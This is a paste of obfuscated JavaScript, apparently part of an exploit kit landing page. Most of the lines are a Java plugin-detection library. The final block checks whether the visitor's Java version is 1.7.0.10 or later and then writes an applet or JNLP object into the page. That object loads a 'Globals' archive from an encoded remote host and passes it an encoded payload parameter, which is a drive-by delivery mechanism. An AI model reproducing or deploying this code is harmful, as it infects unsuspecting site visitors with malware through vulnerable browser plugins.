  2337.                                       if ((d.verGecko && f.compareNums(d.verGecko, f.formatNum("2")) < 0) && !b.mimeObj) {
  2338.                                           a = 1
  2339.                                       } else {
  2340.                                           if (c.AppletTag() && !f.DOM.isEnabled.objectTag()) {
  2341.                                               a = 1
  2342.                                           }
  2343.                                       }
  2344.                                   }
  2345.                               };
  2346.                               c.aA_ = a
  2347.                           }
  2348.                           return c.aA_
  2349.                       },
  2350.                       AppletTag: function() {
  2351.                           var b = this,
  2352.                               d = b.$,
  2353.                               c = b.$$,
  2354.                               a = c.navigator;
  2355.                           return d.browser.isIE ? !a.javaEnabled() : 0
  2356.                       },
  2357.                       VerifyTagsDefault_1: function() {
  2358.                           var b = this.$,
  2359.                               a = b.browser;
  2360.                           if (b.OS >= 20) {
  2361.                               return 1
  2362.                           }
  2363.                           if ((a.isIE && (a.verIE < 9 || !a.ActiveXEnabled)) || (a.verGecko && b.compareNums(a.verGecko, b.formatNum("2")) < 0) || (a.isSafari && (!a.verSafari || b.compareNums(a.verSafari, b.formatNum("4")) < 0)) || (a.verOpera && a.verOpera < 10)) {
  2364.                               return 0
  2365.                           }
  2366.                           return 1
  2367.                       },
  2368.                       z: 0
  2369.                   },
  2370.                   can_Insert_Query: function(d) {
  2371.                       var b = this,
  2372.                           c = b.results[0][0],
  2373.                           a = b.getResult()[0];
  2374.                       if (b.HTML[d] || (d == 0 && c !== null && !b.isRange(c)) || (d == 0 && a && !b.isRange(a))) {
  2375.                           return 0
  2376.                       }
  2377.                       return !b.isDisabled.single(d)
  2378.                   },
  2379.                   can_Insert_Query_Any: function() {
  2380.                       var b = this,
  2381.                           a;
  2382.                       for (a = 0; a < b.results.length; a++) {
  2383.                           if (b.can_Insert_Query(a)) {
  2384.                               return 1
  2385.                           }
  2386.                       }
  2387.                       return 0
  2388.                   },
  2389.                   should_Insert_Query: function(e) {
  2390.                       var c = this,
  2391.                           f = c.allowed,
  2392.                           d = c.$,
  2393.                           b = c.$$,
  2394.                           a = c.getResult()[0];
  2395.                       a = a && (e > 0 || !c.isRange(a));
  2396.                       if (!c.can_Insert_Query(e) || f[e] === 0) {
  2397.                           return 0
  2398.                       }
  2399.                       if (f[e] == 3 || (f[e] == 2.8 && !a)) {
  2400.                           return 1
  2401.                       }
  2402.                       if (!b.nonAppletDetectionOk(b.version0)) {
  2403.                           if (f[e] == 2 || (f[e] == 1 && !a)) {
  2404.                               return 1
  2405.                           }
  2406.                       }
  2407.                       return 0
  2408.                   },
  2409.                   should_Insert_Query_Any: function() {
  2410.                       var b = this,
  2411.                           a;
  2412.                       for (a = 0; a < b.allowed.length; a++) {
  2413.                           if (b.should_Insert_Query(a)) {
  2414.                               return 1
  2415.                           }
  2416.                       }
  2417.                       return 0
  2418.                   },
  2419.                   query: function(f) {
  2420.                       var j, a = this,
  2421.                           i = a.$,
  2422.                           d = a.$$,
  2423.                           k = null,
  2424.                           l = null,
  2425.                           b = a.results,
  2426.                           c, h, g = a.HTML[f];
  2427.                       if (!g || !g.obj() || b[f][0] || d.bridgeDisabled || (i.dbug && d.OTF < 3)) {
  2428.                           return
  2429.                       }
  2430.                       c = g.obj();
  2431.                       h = g.readyState();
  2432.                       if (1) {
  2433.                           try {
  2434.                               k = i.getNum(c.getVersion() + "");
  2435.                               l = c.getVendor() + "";
  2436.                               c.statusbar(i.win.loaded ? " " : " ")
  2437.                           } catch (j) {};
  2438.                           if (k && i.isStrNum(k)) {
  2439.                               b[f] = [k, l];
  2440.                               a.active[f] = 2
  2441.                           }
  2442.                       }
  2443.                   },
  2444.                   isRange: function(a) {
  2445.                       return (/^[<>]/).test(a || "") ? (a.charAt(0) == ">" ? 1 : -1) : 0
  2446.                   },
  2447.                   setRange: function(b, a) {
  2448.                       return (b ? (b > 0 ? ">" : "<") : "") + (this.$.isString(a) ? a : "")
  2449.                   },
  2450.                   insertJavaTag: function(g, n, h, o, m) {
  2451.                       var e = this,
  2452.                           c = e.$,
  2453.                           k = e.$$,
  2454.                           r = "A.class",
  2455.                           b = c.file.getValid(k),
  2456.                           f = b.name + b.ext,
  2457.                           q = b.path;
  2458.                       var i = ["archive", f, "code", r],
  2459.                           l = (o ? ["width", o] : []).concat(m ? ["height", m] : []),
  2460.                           j = ["mayscript", "true"],
  2461.                           p = ["scriptable", "true", "codebase_lookup", "false"].concat(j),
  2462.                           a = k.navigator,
  2463.                           d = !c.browser.isIE && a.mimeObj && a.mimeObj.type ? a.mimeObj.type : k.mimeType[0];
  2464.                       if (g == 1) {
  2465.                           return c.browser.isIE ? c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n)
  2466.                       }
  2467.                       if (g == 2) {
  2468.                           return c.browser.isIE ? c.DOM.insert("applet", ["alt", h].concat(j).concat(i).concat(l), ["codebase", q].concat(p), h, k, 0, n) : c.DOM.insert("applet", ["codebase", q, "alt", h].concat(j).concat(i).concat(l), [].concat(p), h, k, 0, n)
  2469.                       }
  2470.                       if (g == 3) {
  2471.                           return c.browser.isIE ? c.DOM.insert("object", ["classid", k.classID].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert()
  2472.                       }
  2473.                       if (g == 4) {
  2474.                           return c.DOM.insert("embed", ["codebase", q].concat(i).concat(["type", d]).concat(p).concat(l), [], h, k, 0, n)
  2475.                       }
  2476.                   },
  2477.                   insert_Query_Any: function(h) {
  2478.                       var b = this,
  2479.                           d = b.$,
  2480.                           c = b.$$,
  2481.                           f = b.results,
  2482.                           i = b.HTML,
  2483.                           a = d.DOM.altHTML,
  2484.                           e, g = d.file.getValid(c);
  2485.                       if (b.should_Insert_Query(0)) {
  2486.                           if (c.OTF < 2) {
  2487.                               c.OTF = 2
  2488.                           };
  2489.                           f[0] = [0, 0];
  2490.                           e = h ? b.codebase.isMin(h) : b.codebase.search();
  2491.                           if (e) {
  2492.                               f[0][0] = h ? b.setRange(e, h) : e
  2493.                           }
  2494.                           b.active[0] = e ? 1.5 : -1
  2495.                       }
  2496.                       if (!g) {
  2497.                           return b.getResult()
  2498.                       }
  2499.                       if (!b.DummySpanTagHTML) {
  2500.                           b.DummySpanTagHTML = d.DOM.insert("", [], [], a)
  2501.                       }
  2502.                       if (b.should_Insert_Query(1)) {
  2503.                           if (c.OTF < 2) {
  2504.                               c.OTF = 2
  2505.                           };
  2506.                           i[1] = b.insertJavaTag(1, 0, a);
  2507.                           f[1] = [0, 0];
  2508.                           b.query(1)
  2509.                       }
  2510.                       if (b.should_Insert_Query(2)) {
  2511.                           if (c.OTF < 2) {
  2512.                               c.OTF = 2
  2513.                           };
  2514.                           i[2] = b.insertJavaTag(2, 0, a);
  2515.                           f[2] = [0, 0];
  2516.                           b.query(2)
  2517.                       }
  2518.                       if (b.should_Insert_Query(3)) {
  2519.                           if (c.OTF < 2) {
  2520.                               c.OTF = 2
  2521.                           };
  2522.                           i[3] = b.insertJavaTag(3, 0, a);
  2523.                           f[3] = [0, 0];
  2524.                           b.query(3)
  2525.                       }
  2526.                       if (d.DOM.isEnabled.objectTag()) {
  2527.                           if (!b.DummyObjTagHTML && (i[1] || i[2])) {
  2528.                               b.DummyObjTagHTML = d.DOM.insert("object", ["type", c.mimeType_dummy], [], a)
  2529.                           }
  2530.                           if (!b.DummyObjTagHTML2 && i[3]) {
  2531.                               b.DummyObjTagHTML2 = d.DOM.insert("object", ["classid", c.classID_dummy], [], a)
  2532.                           }
  2533.                       }
  2534.                       c.NOTF.begin();
  2535.                       return b.getResult()
  2536.                   }
  2537.               },
  2538.               NOTF: {
  2539.                   $: 1,
  2540.                   count: 0,
  2541.                   countMax: 25,
  2542.                   intervalLength: 250,
  2543.                   begin: function() {
  2544.                       var c = this,
  2545.                           b = c.$,
  2546.                           a = c.$$;
  2547.                       if (a.OTF < 3 && c.shouldContinueQuery()) {
  2548.                           a.OTF = 3;
  2549.                           c.onIntervalQuery = b.ev.handler(c.$$onIntervalQuery, c);
  2550.                           if (!b.win.loaded) {
  2551.                               b.win.funcs0.push([c.winOnLoadQuery, c])
  2552.                           }
  2553.                           setTimeout(c.onIntervalQuery, c.intervalLength)
  2554.                       }
  2555.                   },
  2556.                   shouldContinueQuery: function() {
  2557.                       var f = this,
  2558.                           e = f.$,
  2559.                           c = f.$$,
  2560.                           b = c.applet,
  2561.                           a, d = 0;
  2562.                       if (e.win.loaded && f.count > f.countMax) {
  2563.                           return 0
  2564.                       }
  2565.                       for (a = 0; a < b.results.length; a++) {
  2566.                           if (b.HTML[a]) {
  2567.                               if (!d && !b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 && !b.getResult()[0])) && f.isAppletActive(a) >= 0) {
  2568.                                   return 1
  2569.                               }
  2570.                           }
  2571.                       };
  2572.                       return 0
  2573.                   },
  2574.                   isJavaActive: function(d) {
  2575.                       var f = this,
  2576.                           c = f.$$,
  2577.                           a, b, e = -9;
  2578.                       for (a = 0; a < c.applet.HTML.length; a++) {
  2579.                           b = f.isAppletActive(a, d);
  2580.                           if (b > e) {
  2581.                               e = b
  2582.                           }
  2583.                       }
  2584.                       return e
  2585.                   },
  2586.                   isAppletActive: function(e, g) {
  2587.                       var h = this,
  2588.                           f = h.$,
  2589.                           b = h.$$,
  2590.                           l = b.navigator,
  2591.                           a = b.applet,
  2592.                           i = a.HTML[e],
  2593.                           d = a.active,
  2594.                           k, c = 0,
  2595.                           j, m = d[e];
  2596.                       if (g || m >= 1.5 || !i || !i.span) {
  2597.                           return m
  2598.                       };
  2599.                       j = f.DOM.getTagStatus(i, a.DummySpanTagHTML, a.DummyObjTagHTML, a.DummyObjTagHTML2, h.count);
  2600.                       for (k = 0; k < d.length; k++) {
  2601.                           if (d[k] > 0) {
  2602.                               c = 1
  2603.                           }
  2604.                       }
  2605.                       if (j != 1) {
  2606.                           m = j
  2607.                       } else {
  2608.                           if (f.browser.isIE || (b.version0 && l.javaEnabled() && l.mimeObj && (i.tagName == "object" || c))) {
  2609.                               m = 1
  2610.                           } else {
  2611.                               m = 0
  2612.                           }
  2613.                       }
  2614.                       d[e] = m;
  2615.                       return m
  2616.                   },
  2617.                   winOnLoadQuery: function(c, d) {
  2618.                       var b = d.$$,
  2619.                           a;
  2620.                       if (b.OTF == 3) {
  2621.                           a = d.queryAllApplets();
  2622.                           d.queryCompleted(a)
  2623.                       }
  2624.                   },
  2625.                   $$onIntervalQuery: function(d) {
  2626.                       var c = d.$,
  2627.                           b = d.$$,
  2628.                           a;
  2629.                       if (b.OTF == 3) {
  2630.                           a = d.queryAllApplets();
  2631.                           if (!d.shouldContinueQuery()) {
  2632.                               d.queryCompleted(a)
  2633.                           }
  2634.                       }
  2635.                       d.count++;
  2636.                       if (b.OTF == 3) {
  2637.                           setTimeout(d.onIntervalQuery, d.intervalLength)
  2638.                       }
  2639.                   },
  2640.                   queryAllApplets: function() {
  2641.                       var f = this,
  2642.                           e = f.$,
  2643.                           d = f.$$,
  2644.                           c = d.applet,
  2645.                           b, a;
  2646.                       for (b = 0; b < c.results.length; b++) {
  2647.                           c.query(b)
  2648.                       }
  2649.                       a = c.getResult();
  2650.                       return a
  2651.                   },
  2652.                   queryCompleted: function(c) {
  2653.                       var g = this,
  2654.                           f = g.$,
  2655.                           e = g.$$,
  2656.                           d = e.applet,
  2657.                           b;
  2658.                       if (e.OTF >= 4) {
  2659.                           return
  2660.                       }
  2661.                       e.OTF = 4;
  2662.                       var a = g.isJavaActive();
  2663.                       for (b = 0; b < d.HTML.length; b++) {
  2664.                           if (d.HTML[b] && d.HTML[b].DELETE) {
  2665.                               f.DOM.emptyNode(d.HTML[b].span);
  2666.                               d.HTML[b].span = null
  2667.                           }
  2668.                       }
  2669.                       e.setPluginStatus(c[0], c[1], 0);
  2670.                       if (f.onDetectionDone && e.funcs) {
  2671.                           f.ev.callArray(e.funcs)
  2672.                       }
  2673.                       if (f.DOM) {
  2674.                           f.DOM.onDoneEmptyDiv()
  2675.                       }
  2676.                   }
  2677.               },
  2678.               zz: 0
  2679.           },
  2680.           zz: 0
  2681.       }
  2682.   };
  2683.   ldklfgo.INIT();
  2684.  
  2685.   function fixNumber(num) {
  2686.       function beautify(match, number) {
  2687.           var res = "000" + match;
  2688.           return (res).substr(res.length - 3)
  2689.       }
  2690.       try {
  2691.           var n = num.split(/[\_,.]+/);
  2692.           result = n[0] + n[1].replace(/\d+/g, beautify) + n[2].replace(/\d+/g, beautify);
  2693.           return n.length > 3 ? result + n[3].replace(/\d+/g, beautify) : result;
  2694.       } catch (e) {}
  2695.   }
  2696.   if (window.sf325gtgs7sfdj) {
  2697.       function getData() {
  2698.           return BbGdosiW(SCZEchny1SCZEchny3);
  2699.       }
  2700.  
  2701.       function getKolaio() {
  2702.           return BbGdosiW(SCZEchnx1SCZEchnx3);
  2703.       }
  2704.  
  2705.       function getTxl() {
  2706.           return BbGdosiW(SCZEchnk1SCZEchnk3);
  2707.       }
  2708.  
  2709.       function getJnlp() {
  2710.           return BbGdosiW(SCZEchnz1SCZEchnz3);
  2711.       }
  2712.  
  2713.       function getJnlpHref() {
  2714.           return BbGdosiW(SCZEchnr1SCZEchnr3);
  2715.       }
  2716.       var jv = ldklfgo.getVersion("Java"),
  2717.           targetVersion = "1.7.0.10",
  2718.           klqwght = document;;
  2719.       if (!!jv && fixNumber(jv) >= fixNumber(targetVersion)) {
  2720.           var tmp1 = '<object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"><param name="javafx_version" value="2.1+"/><param name="jnlp_href" value="';
  2721.           klqwght[klfg1 + klfg2](tmp1 + '' + getJnlpHref() + '"/><param name="jnlp_embedded" value="' + getJnlp() + '"/><param name="exteeec" value="' + getData() + '"/></object>');
  2722.       } else {
  2723.           if (navigator.userAgent.indexOf('MSIE') >= 0) {
  2724.               klqwght[klfg1 + klfg2]('<object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"><param name="code" value="Globals"><param name="archive" value="http://' + getKolaio() + '/' + getTxl() + '"><param name="type" value="application/x-java-applet"/><param name="exteeec" value="' + getData() + '"/></object>');
  2725.           } else {
  2726.               klqwght[klfg1 + klfg2]('<applet code="Globals" archive="http://' + getKolaio() + '/' + getTxl() + '"><param name="exteeec" value="' + getData() + '"/></applet>');
  2727.           }
  2728.       }
  2729.   }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement